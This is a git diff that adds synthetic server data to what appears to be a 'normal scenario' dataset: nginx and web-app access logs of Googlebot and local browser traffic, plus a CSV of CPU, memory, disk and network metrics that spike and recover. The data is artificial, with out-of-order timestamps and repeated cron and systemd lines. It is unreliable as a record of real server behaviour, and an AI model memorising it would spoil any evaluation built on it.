HTTP/1.1" 200 20557 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:47 web-server nginx[8080]: 66.249.79.7 - - "GET /about-us HTTP/1.1" 200 9669 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-server nginx[8080]: 66.249.79.6 - - "GET /articles/how-to-do-x HTTP/1.1" 200 12094 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:47 web-server nginx[8080]: 66.249.79.7 - - "GET /articles/how-to-do-x HTTP/1.1" 200 22879 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:49 web-server nginx[8080]: 66.249.79.1 - - "GET /products/123 HTTP/1.1" 200 16303 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:47 web-server nginx[8080]: 66.249.79.1 - - "GET /contact HTTP/1.1" 200 7402 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-server nginx[8080]: 66.249.79.6 - - "GET /contact HTTP/1.1" 200 21974 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:53 web-server nginx[8080]: 66.249.79.1 - - "GET /blog/post-45 HTTP/1.1" 200 16359 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:50 web-server nginx[8080]: 66.249.79.7 - - "GET /articles/how-to-do-x HTTP/1.1" 200 9341 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:52 web-server nginx[8080]: 66.249.79.5 - - "GET /articles/how-to-do-x HTTP/1.1" 200 14819 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:53 web-server nginx[8080]: 66.249.79.7 - - "GET / HTTP/1.1" 200 22221 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:54 web-server nginx[8080]: 66.249.79.6 - - "GET /contact HTTP/1.1" 200 8244 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-server nginx[8080]: 66.249.79.2 - - "GET /blog/post-45 HTTP/1.1" 200 21284 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:55 web-server nginx[8080]: 66.249.79.7 - - "GET / HTTP/1.1" 200 23202 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-server nginx[8080]: 66.249.79.10 - - "GET /articles/how-to-do-x HTTP/1.1" 200 6380 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-server nginx[8080]: 66.249.79.4 - - "GET / HTTP/1.1" 200 18171 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-server nginx[8080]: 66.249.79.9 - - "GET /blog/post-45 HTTP/1.1" 200 19294 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:56 web-server nginx[8080]: 66.249.79.7 - - "GET /about-us HTTP/1.1" 200 6592 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:59 web-server nginx[8080]: 66.249.79.1 - - "GET /blog/post-45 HTTP/1.1" 200 18730 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:58 web-server nginx[8080]: 66.249.79.1 - - "GET /contact HTTP/1.1" 200 22058 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:57 web-server nginx[8080]: 66.249.79.5 - - "GET /contact HTTP/1.1" 200 12401 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:03 web-server nginx[8080]: 192.168.1.140 - - "GET /contact HTTP/1.1" 200 1210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:12 web-server nginx[8080]: 192.168.1.45 - - "GET /blog/post-45 HTTP/1.1" 200 4513 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:15 web-server nginx[8080]: 192.168.1.114 - - "GET / HTTP/1.1" 200 3546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:21 web-server nginx[8080]: 192.168.1.110 - - "GET /products/123 HTTP/1.1" 200 2126 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:26 web-server nginx[8080]: 192.168.1.106 - - "GET /articles/how-to-do-x HTTP/1.1" 200 2315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:34 web-server nginx[8080]: 192.168.1.34 - - "GET /products/123 HTTP/1.1" 200 2413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:37 web-server nginx[8080]: 192.168.1.182 - - "GET /articles/how-to-do-x HTTP/1.1" 200 3854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:41 web-server nginx[8080]: 192.168.1.73 - - "GET /blog/post-45 HTTP/1.1" 200 3408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:05:48 web-server nginx[8080]: 192.168.1.102 - - "GET / HTTP/1.1" 200 1339 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:04 web-server nginx[8080]: 192.168.1.136 - - "GET /products/123 HTTP/1.1" 200 1435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:06 web-server nginx[8080]: 192.168.1.162 - - "GET /contact HTTP/1.1" 200 4543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:12 web-server nginx[8080]: 192.168.1.166 - - "GET /articles/how-to-do-x HTTP/1.1" 200 3665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:17 web-server nginx[8080]: 192.168.1.20 - - "GET /articles/how-to-do-x HTTP/1.1" 200 2885 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:21 web-server nginx[8080]: 192.168.1.94 - - "GET /articles/how-to-do-x HTTP/1.1" 200 4872 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:27 web-server nginx[8080]: 192.168.1.70 - - "GET /articles/how-to-do-x HTTP/1.1" 200 2605 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:34 web-server nginx[8080]: 192.168.1.53 - - "GET /articles/how-to-do-x HTTP/1.1" 200 1522 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:39 web-server nginx[8080]: 192.168.1.59 - - "GET /products/123 HTTP/1.1" 200 3810 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:43 web-server nginx[8080]: 192.168.1.51 - - "GET /about-us HTTP/1.1" 200 3721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:46 web-server nginx[8080]: 192.168.1.24 - - "GET /blog/post-45 HTTP/1.1" 200 3512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:51 web-server nginx[8080]: 192.168.1.154 - - "GET / HTTP/1.1" 200 3645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:06:59 web-server nginx[8080]: 192.168.1.195 - - "GET / HTTP/1.1" 200 1890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:07:05 web-server nginx[8080]: 192.168.1.92 - - "GET /contact HTTP/1.1" 200 4870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:07:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:11 web-server nginx[8080]: 192.168.1.32 - - "GET /products/123 HTTP/1.1" 200 1884 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:07:16 web-server nginx[8080]: 192.168.1.33 - - "GET /articles/how-to-do-x HTTP/1.1" 200 1631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:07:20 web-server nginx[8080]: 192.168.1.110 - - "GET / HTTP/1.1" 200 2024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" +Aug 22 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_8/norm_8_23.csv b/norm_dataset/scenario_8/norm_8_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..2876d147e7c5f3b11fa42e2added395f4516ad37 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,16.53,46.82,26.52,1.03,0.96 +2025-07-03T14:00:05Z,14.35,42.2,24.29,1.52,0.95 +2025-07-03T14:00:10Z,15.19,35.31,27.27,1.22,1.23 +2025-07-03T14:00:15Z,16.57,40.97,35.05,1.35,0.71 +2025-07-03T14:00:20Z,16.8,39.21,37.15,1.44,1.22 +2025-07-03T14:00:25Z,14.98,36.58,32.04,1.19,0.95 +2025-07-03T14:00:30Z,12.78,39.6,28.17,1.06,1.2 +2025-07-03T14:00:35Z,16.76,36.74,35.45,0.8,0.9 +2025-07-03T14:00:40Z,14.27,40.32,33.05,0.8,0.88 +2025-07-03T14:00:45Z,15.03,38.36,34.18,0.78,1.12 +2025-07-03T14:00:50Z,15.49,46.59,24.46,0.8,0.8 +2025-07-03T14:00:55Z,10.22,40.34,33.86,0.52,0.68 +2025-07-03T14:01:00Z,15.7,39.87,30.56,1.18,0.74 +2025-07-03T14:01:05Z,14.11,39.57,30.69,0.94,1.29 +2025-07-03T14:01:10Z,15.22,35.21,24.57,1.2,0.8 +2025-07-03T14:01:15Z,16.93,44.89,24.64,1.08,1.3 +2025-07-03T14:01:20Z,14.81,42.72,33.54,1.26,1.12 +2025-07-03T14:01:25Z,16.3,41.51,29.47,1.13,1.13 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+2025-07-03T14:03:10Z,60.38,47.77,59.69,5.63,5.99 +2025-07-03T14:03:15Z,62.14,50.46,70.49,6.77,6.35 +2025-07-03T14:03:20Z,67.05,53.33,74.94,7.0,6.73 +2025-07-03T14:03:25Z,72.9,55.45,73.38,7.14,6.74 +2025-07-03T14:03:30Z,78.24,53.5,90.01,7.32,7.38 +2025-07-03T14:03:35Z,80.8,51.58,83.59,7.97,7.69 +2025-07-03T14:03:40Z,84.73,47.02,83.62,8.1,8.39 +2025-07-03T14:03:45Z,81.75,52.7,84.99,8.09,8.68 +2025-07-03T14:03:50Z,89.74,57.74,78.68,8.7,8.48 +2025-07-03T14:03:55Z,88.54,54.8,89.46,8.8,9.03 +2025-07-03T14:04:00Z,92.93,55.4,85.18,9.08,8.76 +2025-07-03T14:04:05Z,89.97,57.53,100.0,9.08,8.98 +2025-07-03T14:04:10Z,86.52,54.83,89.69,9.14,8.64 +2025-07-03T14:04:15Z,89.55,51.47,90.07,8.79,9.02 +2025-07-03T14:04:20Z,88.57,58.5,90.9,8.91,8.79 +2025-07-03T14:04:25Z,90.17,50.24,85.78,8.65,8.82 +2025-07-03T14:04:30Z,85.15,54.41,91.2,8.27,8.5 +2025-07-03T14:04:35Z,80.16,50.66,79.34,8.18,8.34 +2025-07-03T14:04:40Z,83.17,51.43,83.72,7.93,7.83 +2025-07-03T14:04:45Z,78.92,49.23,79.05,7.87,7.37 +2025-07-03T14:04:50Z,73.16,54.16,83.69,7.19,6.95 +2025-07-03T14:04:55Z,68.25,48.35,87.17,6.68,6.9 +2025-07-03T14:05:00Z,62.69,47.35,72.08,6.21,6.36 +2025-07-03T14:05:05Z,61.11,50.25,64.61,5.46,6.02 +2025-07-03T14:05:10Z,60.64,47.25,66.76,5.27,4.93 +2025-07-03T14:05:15Z,46.4,52.97,61.3,4.47,4.93 +2025-07-03T14:05:20Z,43.13,44.19,55.65,4.07,4.25 +2025-07-03T14:05:25Z,41.38,42.42,54.14,3.56,3.25 +2025-07-03T14:05:30Z,29.92,41.7,37.89,2.78,3.02 +2025-07-03T14:05:35Z,26.99,39.7,45.76,2.17,2.37 +2025-07-03T14:05:40Z,21.03,40.26,40.47,1.45,1.41 +2025-07-03T14:05:45Z,16.89,41.65,33.82,0.58,1.33 +2025-07-03T14:05:50Z,15.62,39.87,27.31,0.89,0.61 +2025-07-03T14:05:55Z,12.52,46.03,23.62,1.16,1.01 +2025-07-03T14:06:00Z,14.48,41.4,35.41,1.5,1.0 +2025-07-03T14:06:05Z,16.06,34.63,32.29,1.12,1.27 +2025-07-03T14:06:10Z,13.3,44.54,27.19,1.34,0.92 +2025-07-03T14:06:15Z,16.17,38.8,25.13,1.0,0.92 +2025-07-03T14:06:20Z,14.02,37.58,37.09,1.17,0.78 +2025-07-03T14:06:25Z,17.92,37.77,32.89,1.38,0.95 +2025-07-03T14:06:30Z,17.6,38.05,34.32,1.42,1.26 +2025-07-03T14:06:35Z,19.36,44.81,30.74,1.1,1.25 +2025-07-03T14:06:40Z,13.02,41.26,27.31,0.86,1.06 +2025-07-03T14:06:45Z,15.21,37.27,25.41,0.91,0.89 +2025-07-03T14:06:50Z,16.08,42.65,31.14,1.19,0.6 +2025-07-03T14:06:55Z,13.25,34.95,36.74,1.09,0.95 +2025-07-03T14:07:00Z,17.92,45.7,31.71,0.88,0.82 +2025-07-03T14:07:05Z,14.35,43.02,22.7,0.82,0.58 +2025-07-03T14:07:10Z,14.94,40.35,33.44,0.79,1.37 +2025-07-03T14:07:15Z,16.7,41.39,32.25,1.04,1.16 +2025-07-03T14:07:20Z,13.0,39.29,26.02,0.5,0.6 +2025-07-03T14:07:25Z,17.41,39.13,41.58,1.08,1.02 diff --git a/norm_dataset/scenario_8/norm_8_23.log b/norm_dataset/scenario_8/norm_8_23.log new file mode 100644 index 0000000000000000000000000000000000000000..b2980a8b8d7f90472454aba6f3dccaca46b970eb --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_23.log @@ -0,0 +1,174 @@ +Jul 03 14:00:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 14:00:00 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:00:25 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:00:50 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:00:55 systemd[1]: Starting daily clean up activities... +Jul 03 14:01:15 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:01:40 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:01:50 systemd[1]: Starting daily clean up activities... +Jul 03 14:02:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:02:05 web-app[2345]: 192.168.1.10 - "GET /api/v1/user/12 status=200 OK" +Jul 03 14:02:31 web-app[2345]: 66.249.66.1 - "GET /articles/news-2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:34 web-app[2345]: 66.249.66.1 - "GET /articles/news-8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:36 web-app[2345]: 66.249.66.1 - "GET /sitemap.xml HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:37 web-app[2345]: 66.249.66.1 - "GET /products/5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:40 web-app[2345]: 66.249.66.1 - "GET /articles/news-14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:44 web-app[2345]: 66.249.66.1 - "GET /articles/news-2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:45 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:47 web-app[2345]: 66.249.66.1 - "GET /articles/news-7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:50 web-app[2345]: 66.249.66.1 - "GET /articles/news-3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:52 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:53 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:55 web-app[2345]: 66.249.66.1 - "GET /products/18 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:56 web-app[2345]: 66.249.66.1 - "GET /products/5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:02:59 web-app[2345]: 66.249.66.1 - "GET /articles/news-8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:00 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:00 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:02 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:05 web-app[2345]: 66.249.66.1 - "GET /contact HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:07 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:09 web-app[2345]: 66.249.66.1 - "GET /products/10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:09 web-app[2345]: 66.249.66.1 - "GET /products/4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:10 web-app[2345]: 66.249.66.1 - "GET /articles/news-13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:12 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:12 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:13 web-app[2345]: 66.249.66.1 - "GET /products/18 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:17 web-app[2345]: 66.249.66.1 - "GET /articles/news-7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:18 web-app[2345]: 66.249.66.1 - "GET /articles/news-9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:18 web-app[2345]: 66.249.66.1 - "GET /products/12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:18 web-app[2345]: 66.249.66.1 - "GET /products/2 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:21 web-app[2345]: 66.249.66.1 - "GET /articles/news-4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:24 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:24 web-app[2345]: 66.249.66.1 - "GET /products/18 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:24 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:25 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:26 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:27 web-app[2345]: 66.249.66.1 - "GET /articles/news-14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:27 web-app[2345]: 66.249.66.1 - "GET /products/9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:28 web-app[2345]: 66.249.66.1 - "GET /products/19 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:32 web-app[2345]: 66.249.66.1 - "GET /articles/news-5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:33 web-app[2345]: 66.249.66.1 - "GET /articles/news-5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:33 web-app[2345]: 66.249.66.1 - "GET /products/14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:34 web-app[2345]: 66.249.66.1 - "GET /articles/news-4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:34 web-app[2345]: 66.249.66.1 - "GET /products/15 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:35 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:37 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:37 web-app[2345]: 66.249.66.1 - "GET /articles/news-12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:37 web-app[2345]: 66.249.66.1 - "GET /articles/news-13 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:37 web-app[2345]: 66.249.66.1 - "GET /articles/news-6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:40 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:41 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:42 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:42 web-app[2345]: 66.249.66.1 - "GET /articles/news-12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:43 web-app[2345]: 66.249.66.1 - "GET /articles/news-1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:45 web-app[2345]: 66.249.66.1 - "GET /contact HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:47 web-app[2345]: 66.249.66.1 - "GET /products/19 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:48 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:48 web-app[2345]: 66.249.66.1 - "GET /articles/news-12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:48 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:50 web-app[2345]: 66.249.66.1 - "GET /articles/news-8 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:52 web-app[2345]: 66.249.66.1 - "GET /products/12 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:54 web-app[2345]: 66.249.66.1 - "GET /articles/news-1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:54 web-app[2345]: 66.249.66.1 - "GET /products/14 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:54 web-app[2345]: 66.249.66.1 - "GET /products/16 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:55 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:55 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:56 web-app[2345]: 66.249.66.1 - "GET /articles/news-10 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:57 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:03:58 web-app[2345]: 66.249.66.1 - "GET /products/5 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:00 web-app[2345]: 66.249.66.1 - "GET /products/3 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:01 web-app[2345]: 66.249.66.1 - "GET /articles/news-6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:02 web-app[2345]: 66.249.66.1 - "GET /articles/news-4 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:04 web-app[2345]: 66.249.66.1 - "GET /products/1 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:04 web-app[2345]: 66.249.66.1 - "GET /products/11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:07 web-app[2345]: 66.249.66.1 - "GET /articles/news-9 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:07 web-app[2345]: 66.249.66.1 - "GET /products/6 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:08 web-app[2345]: 66.249.66.1 - "GET /articles/news-11 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:08 web-app[2345]: 66.249.66.1 - "GET /articles/news-7 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 14:04:09 web-app[2345]: 66.249.66.1 - "GET /products/17 HTTP/1.1" status=200 "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 